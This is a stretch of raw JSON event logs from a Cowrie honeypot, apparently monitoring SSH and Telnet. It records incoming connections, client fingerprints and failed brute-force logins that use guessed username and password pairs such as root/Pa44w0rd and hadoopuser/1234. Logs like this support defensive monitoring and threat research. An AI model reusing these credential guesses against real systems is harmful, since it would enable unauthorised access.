{"eventid":"cowrie.login.failed","username":"root","password":"1qaz=[;.","message":"login attempt [root/1qaz=[;.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:59.929617Z","src_ip":"200.105.172.184","session":"c5e66ae9d0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43564,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d7518bace2","protocol":"telnet","message":"New connection: 161.132.53.68:43564 (159.203.135.109:23) [session: 98d7518bace2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:00.570157Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:01.052014Z","src_ip":"200.105.172.184","session":"c5e66ae9d0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43578,"dst_ip":"159.203.135.109","dst_port":23,"session":"033733b37050","protocol":"telnet","message":"New connection: 161.132.53.68:43578 (159.203.135.109:23) [session: 033733b37050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:02.634541Z"}
{"eventid":"cowrie.session.closed","duration":31.45465111732483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:02.657797Z","src_ip":"161.132.53.68","session":"a2a62aeb48fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43594,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8ec697a68b8","protocol":"telnet","message":"New connection: 161.132.53.68:43594 (159.203.135.109:23) [session: e8ec697a68b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:03.344997Z"}
{"eventid":"cowrie.session.closed","duration":32.0700306892395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:03.558650Z","src_ip":"161.132.53.68","session":"ccd953a8b048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"f05f99c60885","protocol":"telnet","message":"New connection: 161.132.53.68:43602 (159.203.135.109:23) [session: f05f99c60885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:03.944483Z"}
{"eventid":"cowrie.session.closed","duration":32.16993188858032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:07.316251Z","src_ip":"161.132.53.68","session":"21617be974e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10289978981018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:09.211886Z","src_ip":"161.132.53.68","session":"374e7e109b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31160569190979,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:09.753791Z","src_ip":"161.132.53.68","session":"2a1d924845a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43708,"dst_ip":"159.203.135.109","dst_port":23,"session":"786578db388d","protocol":"telnet","message":"New connection: 161.132.53.68:43708 (159.203.135.109:23) [session: 786578db388d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:10.275827Z"}
{"eventid":"cowrie.session.closed","duration":32.41769623756409,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:10.562353Z","src_ip":"161.132.53.68","session":"34e6557dd171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43720,"dst_ip":"159.203.135.109","dst_port":23,"session":"5928b4238a78","protocol":"telnet","message":"New connection: 161.132.53.68:43720 (159.203.135.109:23) [session: 5928b4238a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:10.727014Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43722,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd690dbb0283","protocol":"telnet","message":"New connection: 161.132.53.68:43722 (159.203.135.109:23) [session: bd690dbb0283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:11.345507Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":46884,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d1464828fe1","protocol":"ssh","message":"New connection: 223.17.5.126:46884 (159.203.135.109:22) [session: 5d1464828fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:11.751807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:11.757262Z","src_ip":"223.17.5.126","session":"5d1464828fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:11.976326Z","src_ip":"223.17.5.126","session":"5d1464828fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43726,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea5e9105162","protocol":"telnet","message":"New connection: 161.132.53.68:43726 (159.203.135.109:23) [session: 5ea5e9105162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:12.188421Z"}
{"eventid":"cowrie.session.closed","duration":30.643952131271362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:12.288036Z","src_ip":"161.132.53.68","session":"55de530a88b2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa44w0rd","message":"login attempt [root/Pa44w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:12.882244Z","src_ip":"223.17.5.126","session":"5d1464828fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:14.104297Z","src_ip":"223.17.5.126","session":"5d1464828fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43728,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e40148b9a6","protocol":"telnet","message":"New connection: 161.132.53.68:43728 (159.203.135.109:23) [session: e6e40148b9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:16.224890Z"}
{"eventid":"cowrie.session.closed","duration":30.704431295394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:22.643035Z","src_ip":"161.132.53.68","session":"890b68a9e291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdac92d95dd0","protocol":"telnet","message":"New connection: 161.132.53.68:51096 (159.203.135.109:23) [session: cdac92d95dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:24.129031Z"}
{"eventid":"cowrie.session.closed","duration":32.40351462364197,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:24.440206Z","src_ip":"104.245.105.2","session":"9d3f4f605e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38908,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f20e27980d","protocol":"telnet","message":"New connection: 104.245.105.2:38908 (10.17.0.5:23) [session: e3f20e27980d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:24.838896Z"}
{"eventid":"cowrie.session.closed","duration":33.3114492893219,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:29.861098Z","src_ip":"161.132.53.68","session":"8a75296dc67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":37750,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c0a9ab88c3d","protocol":"ssh","message":"New connection: 114.35.59.237:37750 (10.17.0.5:22) [session: 6c0a9ab88c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:30.148660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:30.155145Z","src_ip":"114.35.59.237","session":"6c0a9ab88c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:30.371864Z","src_ip":"114.35.59.237","session":"6c0a9ab88c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":55306,"dst_ip":"159.203.135.109","dst_port":22,"session":"68685da92bf4","protocol":"ssh","message":"New connection: 165.154.6.69:55306 (159.203.135.109:22) [session: 68685da92bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:30.743104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:30.748337Z","src_ip":"165.154.6.69","session":"68685da92bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:30.964450Z","src_ip":"165.154.6.69","session":"68685da92bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pcguest","password":"pcguest","message":"login attempt [pcguest/pcguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:31.268633Z","src_ip":"114.35.59.237","session":"6c0a9ab88c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.732857942581177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:31.302899Z","src_ip":"161.132.53.68","session":"98d7518bace2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27417039871216,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:31.358752Z","src_ip":"161.132.53.68","session":"8120adae80ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45020,"dst_ip":"159.203.135.109","dst_port":23,"session":"68243a7f719a","protocol":"telnet","message":"New connection: 161.132.53.68:45020 (159.203.135.109:23) [session: 68243a7f719a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:31.468977Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"canada12","message":"login attempt [root/canada12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:31.860408Z","src_ip":"165.154.6.69","session":"68685da92bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:32.488663Z","src_ip":"114.35.59.237","session":"6c0a9ab88c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:33.079072Z","src_ip":"165.154.6.69","session":"68685da92bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45026,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdde6c58c112","protocol":"telnet","message":"New connection: 161.132.53.68:45026 (159.203.135.109:23) [session: bdde6c58c112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:33.334896Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45036,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c2eaf9bae24","protocol":"telnet","message":"New connection: 161.132.53.68:45036 (159.203.135.109:23) [session: 8c2eaf9bae24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:33.364229Z"}
{"eventid":"cowrie.session.closed","duration":31.15293526649475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:33.787359Z","src_ip":"161.132.53.68","session":"033733b37050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991374492645264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:34.336248Z","src_ip":"161.132.53.68","session":"e8ec697a68b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45040,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bdf58ca07fe","protocol":"telnet","message":"New connection: 161.132.53.68:45040 (159.203.135.109:23) [session: 3bdf58ca07fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:35.233380Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45046,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a14a068110b","protocol":"telnet","message":"New connection: 161.132.53.68:45046 (159.203.135.109:23) [session: 4a14a068110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:35.303623Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47096,"dst_ip":"159.203.135.109","dst_port":23,"session":"26833c6c9d4f","protocol":"telnet","message":"New connection: 161.132.53.68:47096 (159.203.135.109:23) [session: 26833c6c9d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:36.725642Z"}
{"eventid":"cowrie.session.closed","duration":33.54823088645935,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:37.492581Z","src_ip":"161.132.53.68","session":"f05f99c60885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47098,"dst_ip":"159.203.135.109","dst_port":23,"session":"fff309433e41","protocol":"telnet","message":"New connection: 161.132.53.68:47098 (159.203.135.109:23) [session: fff309433e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:37.665088Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":38516,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bca73f64d7","protocol":"ssh","message":"New connection: 220.119.37.141:38516 (10.17.0.5:22) [session: 62bca73f64d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:40.271438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:40.276615Z","src_ip":"220.119.37.141","session":"62bca73f64d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:40.474422Z","src_ip":"220.119.37.141","session":"62bca73f64d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoopuser","password":"1234","message":"login attempt [hadoopuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:41.300009Z","src_ip":"220.119.37.141","session":"62bca73f64d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":43798,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eaba9aed4ac","protocol":"ssh","message":"New connection: 124.18.182.99:43798 (10.17.0.5:22) [session: 1eaba9aed4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:42.146864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:42.152294Z","src_ip":"124.18.182.99","session":"1eaba9aed4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:42.325731Z","src_ip":"124.18.182.99","session":"1eaba9aed4ac","protocol":"ssh"}
